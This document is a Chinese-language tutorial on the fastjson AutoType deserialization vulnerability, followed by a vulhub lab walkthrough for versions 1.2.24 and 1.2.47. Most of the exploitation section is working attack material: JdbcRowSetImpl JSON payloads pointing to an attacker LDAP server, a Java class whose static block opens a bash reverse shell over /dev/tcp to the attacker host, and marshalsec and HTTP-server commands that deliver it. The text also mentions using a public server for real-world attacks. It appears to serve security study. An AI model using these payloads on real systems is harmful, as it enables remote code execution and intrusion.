[TOC]

漏洞原理

啥是json?

json全称是JavaScript object notation。即JavaScript对象标记法,使用键值对进行信息的存储。举个简单的例子如下:

{

    "name":"BossFrank",

    "age":23,

    "media":["CSDN","bilibili","Github"]

}

json本质就是一种字符串,用于信息的存储和交换。

啥是fastjson?

fastjson 是一个 有阿里开发的一个开源Java 类库,可以将 Java 对象转换为 JSON 格式(序列化),当然它也可以将 JSON 字符串转换为 Java 对象(反序列化)。Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象(这就是漏洞来源,下文会解释)。使用比较广泛。

fastjson序列化/反序列化原理

fastjson的漏洞本质还是一个java的反序列化漏洞,由于引进了AutoType功能,fastjson在对json字符串反序列化的时候,会读取到@type的内容,将json内容反序列化为java对象并调用这个类的setter方法。

那么为啥要引进Auto Type功能呢?

fastjson在序列化以及反序列化的过程中并没有使用Java自带的序列化机制,而是自定义了一套机制。其实,对于JSON框架来说,想要把一个Java对象转换成字符串,可以有两种选择:

1.基于setter/getter

2.基于属性(AutoType)

基于setter/getter会带来什么问题呢,下面举个例子,假设有如下两个类:

1
2
3
4
5
6
7
8
9
class Apple implements Fruit {
private Big_Decimal price;
//省略 setter/getter、toString等
}

class iphone implements Fruit {
private Big_Decimal price;
//省略 setter/getter、toString等
}

实例化对象之后,假设苹果对象的price为0.5,Apple类对象序列化为json格式后为:

{“Fruit”:{“price”:0.5}}

假设iphone对象的price为5000,序列化为json格式后为:

{“Fruit”:{“price”:5000}}

当一个类只有一个接口的时候,将这个类的对象序列化的时候,就会将子类抹去(apple/iphone)只保留接口的类型(Fruit),最后导致反序列化时无法得到原始类型。本例中,将两个json再反序列化生成java对象的时候,无法区分原始类是apple还是iphone。

为了解决上述问题: fastjson引入了基于属性(AutoType),即在序列化的时候,先把原始类型记录下来。使用@type的键记录原始类型,在本例中,引入AutoType后,Apple类对象序列化为json格式后为:

{ “fruit”:{ “@type”:“com.hollis.lab.fastjson.test.Apple”, “price”:0.5 } }

引入AutoType后,iphone类对象序列化为json格式后为:

{ “fruit”:{ “@type”:“com.hollis.lab.fastjson.test.iphone”, “price”:5000 } }

这样在反序列化的时候就可以区分原始的类了

fastjson反序列化漏洞原理

使用AutoType功能进行序列号的JSON字符会带有一个@type来标记其字符的原始类型,在反序列化的时候会读取这个@type,来试图把JSON内容反序列化到对象,并且会调用这个库的setter或者getter方法,然而,@type的类有可能被恶意构造,只需要合理构造一个JSON,使用@type指定一个想要的攻击类库就可以实现攻击。

常见的有sun官方提供的一个类com.sun.rowset.JdbcRowSetImpl,其中有个dataSourceName方法支持传入一个rmi的源,只要解析其中的url就会支持远程调用!因此整个漏洞复现的原理过程就是:

攻击者(我们)访问存在fastjson漏洞的目标靶机网站,通过burpsuite抓包改包,以json格式添加com.sun.rowset.JdbcRowSetImpl恶意类信息发送给目标机。
存在漏洞的靶机对json反序列化时候,会加载执行我们构造的恶意信息(访问rmi服务器),靶机服务器就会向rmi服务器请求待执行的命令。也就是靶机服务器问rmi服务器,(靶机服务器)需要执行什么命令啊?
rmi 服务器请求加载远程机器的class(这个远程机器是我们搭建好的恶意站点,提前将漏洞利用的代码编译得到.class文件,并上传至恶意站点),得到攻击者(我们)构造好的命令(ping dnslog或者创建文件或者反弹shell啥的)
rmi将远程加载得到的class(恶意代码),作为响应返回给靶机服务器。
靶机服务器执行了恶意代码,被攻击者成功利用。

大致理解如下图:

img

靶场复现

1.2.24-rce

kali靶机:192.168.192.132

kali攻击机(java8环境)&服务器:192.168.192.133

靶机启动环境

image-20250331100516446

访问靶机ip:8090,能访问成功即搭建环境成功。

image-20250331100927877

寻找方式

寻找存在 Fastjson 漏洞的方法,就是先找到参数中内容是 json 数据的接口,然后使用构造好的测试 payload 进行提交验证,检测原理跟 sql 注入差不多,首先找到参数提交的地方,然后再用 payload 尝试。

我们先进行抓包

image-20250331101715500

我们先将GET改成POST,然后看响应包

image-20250331125818259

有”fastjson“的信息,说明存在漏洞。

此时我们将GET改成POST,添加Conten-Type字段为application/json,添加Content-Lenth字段,长度可以大一点。再添加请求参数,如下图所示:

image-20250331101918636

看响应包,已经改变了

image-20250331102033009

于是提交java对象试试,代码如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#1.2.24:
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.192.133:7788/exp", #IDAP服务器的ip:端口/文件
"autoCommit":true
}
}

#1.2.27:
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.192.133:7788/exp", #IDAP服务器的ip:端口/文件
"autoCommit":true
}
}

出现500报错

image-20250331103206485

漏洞利用

”文件服务器"配置

首先在攻击机上准备一个简单的EXP,写Shell配置好反弹地址和端口(改成自己的攻击机的ip和监听端口)

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.lang.Runtime;
import java.lang.Process;

public class exp {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >&/dev/tcp/192.168.192.133/6666 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

使用javac进行编译,编译完成后,有个class文件:

1
javac C:\Users\Anonymous\Desktop\exp.java
方法一:

通过phpstudy开启网站服务,(**如果是打实战的话,需要用到公网服务器做服务端getshell。)**然后将编译后的exp.class文件移动到www目录下。

image-20250331105936651

方法二:

在.class文件所在目录直接开启终端,然后用python开一个http

1
python -m http.server 7766  //端口随意,路径是文件的位置

image-20250331130050031

image-20250331130104433

”RMI/LDAP服务器“设置(我用的LDAP服务)

接下来需要用到marshalsec,安装方法:

git clone https://github.com/mbechler/marshalsec #虚拟机下载慢可以直接去项目打包然后拖进去

cd marshalsec

mvn clean package -DskipTests #编译

编译成功后/marshalsec/target会出现marshalsec-0.0.3-SNAPSHOT-all.jar的文件,编译时间可能有点久(注意要是java8环境)

image-20250401101740455

接下来在攻击kali利用marshalsec开启LDAP服务

解释一下这里,上面的环境已经开启了临时的网站环境,环境下面有exp.class,这里开启的7788端口是给LDAP的,然后把这个端口和7766绑定一起,将LDAP服务绑定到7788端口的目的是为了在7788端口上监听LDAP请求并响应,而这个路径下面有java类文件exp.class,通告构造恶意的josn请求去执行java类文件,达到反弹shell的目的

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.192.133:7766/#exp 7788

image-20250401113309210

同时创建监听6666端口信息,也就是上面编译后的exp.class文件中指向攻击机的端口

image-20250331103455305

抓包Getshell

然后访问vulhub上的fastjson进行抓包,请求包构造恶意josn请求为访问攻击机下的rmi服务,这里的Content-type的类型与上面相同改为 application/josn 发送POST请求。

请求格式如下:

1
2
3
4
5
6
7
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.192.133:7788/exp", #IDAP服务器的ip:端口/文件
"autoCommit":true
}
}

image-20250401113427182

可以看到返回包很慢或者没有,但是看监听端口发现已经连上了。

image-20250401113540791

至此getshell成功。

1.2.47-rce

利用步骤跟1.2.24-rce一样,只是最后抓包改包GetShell时换成如下:

1
2
3
4
5
6
7
8
9
10
11
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://192.168.192.133:7788/exp", #IDAP服务器的ip:端口/文件
"autoCommit":true
}
}

image-20250401151424631